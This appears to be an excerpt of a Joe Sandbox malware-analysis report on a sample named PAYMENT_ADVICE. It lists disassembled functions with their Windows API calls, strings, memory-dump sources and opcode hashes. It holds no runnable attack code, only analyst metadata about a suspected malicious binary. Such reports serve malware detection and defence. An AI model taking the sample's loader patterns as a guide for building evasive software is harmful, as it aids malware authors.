                                                              • Opcode ID: adef56747f464737239280110e3d62ce84248c30c8476464621f5bacb737e5b3
                                                              • Instruction ID: 7efc3e7214984171dc2fa05d9ea25d9bc9c0763c84f6fa826391d38b74de3f14
                                                              • Opcode Fuzzy Hash: adef56747f464737239280110e3d62ce84248c30c8476464621f5bacb737e5b3
                                                              • Instruction Fuzzy Hash: BA11C172244208BAEF255F65CC05FEB7BADEF89B64F12412CFA45A6090C672A851DB20
                                                              Function 00366B71 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: __calloc_crt
                                                              • String ID: ?$@B@
                                                              • API String ID: 3494438863-2252957899
                                                              • Opcode ID: 32dcfc551e799f9ee017bd6a722f09935fd8b3af9be7db14f8e2a0cab58a5e58
                                                              • Instruction ID: 64b80cf317036a94e565a33652848b9efe20a31a0aa81464d97b978648aa1e59
                                                              • Opcode Fuzzy Hash: 32dcfc551e799f9ee017bd6a722f09935fd8b3af9be7db14f8e2a0cab58a5e58
                                                              • Instruction Fuzzy Hash: 1AF0FC75204612CBFB269F16BD53B632795EB057B0F10807EE200DF198EB3088404EC8
                                                              Function 00344C36 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadLibraryA.KERNEL32(kernel32.dll,?,00344B83,?), ref: 00344C44
                                                              • GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00344C56
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: AddressLibraryLoadProc
                                                              • String ID: Wow64RevertWow64FsRedirection$kernel32.dll
                                                              • API String ID: 2574300362-1355242751
                                                              • Opcode ID: d6e5a52a7c2b38feba3214bacc8c4f9021145bc916e71412323b31a6471ac360
                                                              • Instruction ID: c366d67e9c1ad5b4f48966bafa431a79e471356afeb7212800ff1455eab984e5
                                                              • Opcode Fuzzy Hash: d6e5a52a7c2b38feba3214bacc8c4f9021145bc916e71412323b31a6471ac360
                                                              • Instruction Fuzzy Hash: EAD0E230510722DFD7229B32D948A5AB6EAAF05351B1A883AD596DA160E670E8808B50
                                                              Function 00344C03 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadLibraryA.KERNEL32(kernel32.dll,?,00344BD0,?,00344DEF,?,004052F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00344C11
                                                              • GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00344C23
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: AddressLibraryLoadProc
                                                              • String ID: Wow64DisableWow64FsRedirection$kernel32.dll
                                                              • API String ID: 2574300362-3689287502
                                                              • Opcode ID: 9202f615afad7dfb7f2c7c9f7dc95ae802f88eaf023d449b6d9ab43a951d72bd
                                                              • Instruction ID: baf1ac128cbb0084d32918a0b95c088336dfc4086ba46cd5c2da2b17be4426ad
                                                              • Opcode Fuzzy Hash: 9202f615afad7dfb7f2c7c9f7dc95ae802f88eaf023d449b6d9ab43a951d72bd
                                                              • Instruction Fuzzy Hash: D8D0EC34911712DFD7226B71D948A46BADAAF09351B198839D486D6160E6B0E8808750
                                                              Function 003C0DE7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadLibraryA.KERNEL32(advapi32.dll,?,003C1039), ref: 003C0DF5
                                                              • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 003C0E07
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: AddressLibraryLoadProc
                                                              • String ID: RegDeleteKeyExW$advapi32.dll
                                                              • API String ID: 2574300362-4033151799
                                                              • Opcode ID: 17c35c8ba652bbb0af646e260ad60b891578c352411e5e835e7f01e78ed131a9
                                                              • Instruction ID: 40f495ecd5d21040abad901119ac65c64be28ca89447db23a6385dd672346867
                                                              • Opcode Fuzzy Hash: 17c35c8ba652bbb0af646e260ad60b891578c352411e5e835e7f01e78ed131a9
                                                              • Instruction Fuzzy Hash: 5CD0C730440B26CFC3268F70C808B82B2EAAF01342F068C3ED58AC6250E6B1E890CB00
                                                              Function 003B90E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadLibraryA.KERNEL32(kernel32.dll,00000001,003B8CF4,?,003CF910), ref: 003B90EE
                                                              • GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 003B9100
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: AddressLibraryLoadProc
                                                              • String ID: GetModuleHandleExW$kernel32.dll
                                                              • API String ID: 2574300362-199464113
                                                              • Opcode ID: 6799de1106aea00e9e19fe94fa8b16739dd3075cdf548d551b767e7e5d310747
                                                              • Instruction ID: 9a092e3a97e4c8b0be1cba5716677261c30fb965694bb10ee90a7f34c5868038
                                                              • Opcode Fuzzy Hash: 6799de1106aea00e9e19fe94fa8b16739dd3075cdf548d551b767e7e5d310747
                                                              • Instruction Fuzzy Hash: 1ED01235510713CFD7229F35D818A8676D9AF05355F17C83ED686D6550E770D880C750
                                                              Function 00381714 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: LocalTime__swprintf
                                                              • String ID: %.3d$WIN_XPe
                                                              • API String ID: 2070861257-2409531811
                                                              • Opcode ID: d8141a40faa0de706e71d1a1e70f6ced8a90cb58832fc75a970d33ef97e21c02
                                                              • Instruction ID: 56aa02e0484d2eef09490d1fbe076b753bb7f9fbc7a16a83824bba9f7eed09cf
                                                              • Opcode Fuzzy Hash: d8141a40faa0de706e71d1a1e70f6ced8a90cb58832fc75a970d33ef97e21c02
                                                              • Instruction Fuzzy Hash: 58D05B7280530DFAC703B790DC88DF9737CA708301F1408A6F506D2450E2359755E721
                                                              Function 0039717D Relevance: 6.3, APIs: 4, Instructions: 333COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 79dcbc3c6dd72c7ab63ad74daa02b6b7cc95124651c2466eaf38570a327cf966
                                                              • Instruction ID: f5608ae0a8132cbba4c3b146b08cb743de800313a5e1083e94e262625f31bd04
                                                              • Opcode Fuzzy Hash: 79dcbc3c6dd72c7ab63ad74daa02b6b7cc95124651c2466eaf38570a327cf966
                                                              • Instruction Fuzzy Hash: 5CC18F74A14216EFCF15CFA5C884EAEBBB9FF48704B158598E805EB291D730ED81DB90
                                                              Function 003BE02A Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CharLowerBuffW.USER32(?,?), ref: 003BE0BE
                                                              • CharLowerBuffW.USER32(?,?), ref: 003BE101
                                                                • Part of subcall function 003BD7A5: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 003BD7C5
                                                              • VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 003BE301
                                                              • _memmove.LIBCMT ref: 003BE314
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: BuffCharLower$AllocVirtual_memmove
                                                              • String ID:
                                                              • API String ID: 3659485706-0
                                                              • Opcode ID: 797e3690d50547bf86a4337d18f91cf40ff7c89585fac542f3c28f706f72ebc7
                                                              • Instruction ID: 28037a5debc48757bfd3caabb34ab3677c0c1caf8d8a7f5490259d0a735892c6
                                                              • Opcode Fuzzy Hash: 797e3690d50547bf86a4337d18f91cf40ff7c89585fac542f3c28f706f72ebc7
                                                              • Instruction Fuzzy Hash: 18C18A756043018FC706DF28C480AAABBE4FF89718F14896EF999DB751D731E946CB81
                                                              Function 003B8093 Relevance: 6.3, APIs: 4, Instructions: 267COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CoInitialize.OLE32(00000000), ref: 003B80C3
                                                              • CoUninitialize.OLE32 ref: 003B80CE
                                                                • Part of subcall function 0039D56C: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 0039D5D4
                                                              • VariantInit.OLEAUT32(?), ref: 003B80D9
                                                              • VariantClear.OLEAUT32(?), ref: 003B83AA
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
                                                              • String ID:
                                                              • API String ID: 780911581-0
                                                              • Opcode ID: 9d92c9090fa11d7f5abfbabb4a0b91fde9f06e73e79234096040e5865aefeb35
                                                              • Instruction ID: 7242b5c63156a5ced368d34e3ef9314b0c4ae2419f8548ddb1c8a3b16d7b30c6
                                                              • Opcode Fuzzy Hash: 9d92c9090fa11d7f5abfbabb4a0b91fde9f06e73e79234096040e5865aefeb35
                                                              • Instruction Fuzzy Hash: B4A114796047019FCB12DF18C481B6AB7E8BF89758F044859FA9A9B7A1CB30FD05CB42
                                                              Function 0039687D Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Variant$AllocClearCopyInitString
                                                              • String ID:
                                                              • API String ID: 2808897238-0
                                                              • Opcode ID: 6ee2e994bebd75b3d8863de0ce30ea6c2f7bf9790291d54ad64478c965c56b42
                                                              • Instruction ID: 24dd4f2827c7bbea7b8a95806fa4a0c5a432223b06d5bfeccbc660fb00c2e124
                                                              • Opcode Fuzzy Hash: 6ee2e994bebd75b3d8863de0ce30ea6c2f7bf9790291d54ad64478c965c56b42
                                                              • Instruction Fuzzy Hash: 1B519FB46053429EDF26AF65D893A2EB3E9AF45310F20D81FE596DF691DB70DC408701
                                                              Function 003C97F4 Relevance: 6.1, APIs: 4, Instructions: 140COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetWindowRect.USER32(00FCE818,?), ref: 003C9863
                                                              • ScreenToClient.USER32(00000002,00000002), ref: 003C9896
                                                              • MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 003C9903
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Window$ClientMoveRectScreen
                                                              • String ID:
                                                              • API String ID: 3880355969-0
                                                              • Opcode ID: 23e21837df05d16f4f54a16cadc8685f1f84f4ee7e062d62d3f4071ecc8e74ae
                                                              • Instruction ID: d1ff54d14d87b40e3bcbafc4b6a1be5622d64f998fcda07d35be112822aa8590
                                                              • Opcode Fuzzy Hash: 23e21837df05d16f4f54a16cadc8685f1f84f4ee7e062d62d3f4071ecc8e74ae
                                                              • Instruction Fuzzy Hash: 90513C35A00208AFDF11DF14C988FAE7BB6EB45360F12816EF855EB2A0D731AD51CB90
                                                              Function 003B69AA Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • socket.WSOCK32(00000002,00000002,00000011), ref: 003B69D1
                                                              • WSAGetLastError.WSOCK32(00000000), ref: 003B69E1
                                                                • Part of subcall function 00349837: __itow.LIBCMT ref: 00349862
                                                                • Part of subcall function 00349837: __swprintf.LIBCMT ref: 003498AC
                                                              • #21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 003B6A45
                                                              • WSAGetLastError.WSOCK32(00000000), ref: 003B6A51
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ErrorLast$__itow__swprintfsocket
                                                              • String ID:
                                                              • API String ID: 2214342067-0
                                                              • Opcode ID: 4c6b55ae7fabd5333c20e168df0d99a5f6b3e8930e19d62feb3f9167ed655f64
                                                              • Instruction ID: bef1fdbfefc541ee550e1303bab2e74d0bc79f6c9943ad00b7266fae182ecc02
                                                              • Opcode Fuzzy Hash: 4c6b55ae7fabd5333c20e168df0d99a5f6b3e8930e19d62feb3f9167ed655f64
                                                              • Instruction Fuzzy Hash: CC4181757402006FEB62AF28CC87F6A77E99F05B14F048419FA59AF2D3DA75AD008791
                                                              Function 003B641A Relevance: 6.1, APIs: 4, Instructions: 116COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • #16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,003CF910), ref: 003B64A7
                                                              • _strlen.LIBCMT ref: 003B64D9
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: _strlen
                                                              • String ID:
                                                              • API String ID: 4218353326-0
                                                              • Opcode ID: 8348defd8a37819f175d03557d41614b6c191c91fd0ba2618ef5459acd2f8406
                                                              • Instruction ID: 61291daa4f25d835a6803420a49ed5abdc7d832a692dfa95ab2f2d4c8f5c5a8f
                                                              • Opcode Fuzzy Hash: 8348defd8a37819f175d03557d41614b6c191c91fd0ba2618ef5459acd2f8406
                                                              • Instruction Fuzzy Hash: F541A231A00104ABCB26EBA4DC96FEEB7A9AF45314F108156F9159F693DB34AD10CB50
                                                              Function 003AB7F4 Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 003AB89E
                                                              • GetLastError.KERNEL32(?,00000000), ref: 003AB8C4
                                                              • DeleteFileW.KERNEL32(00000002,?,00000000), ref: 003AB8E9
                                                              • CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 003AB915
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: CreateHardLink$DeleteErrorFileLast
                                                              • String ID:
                                                              • API String ID: 3321077145-0
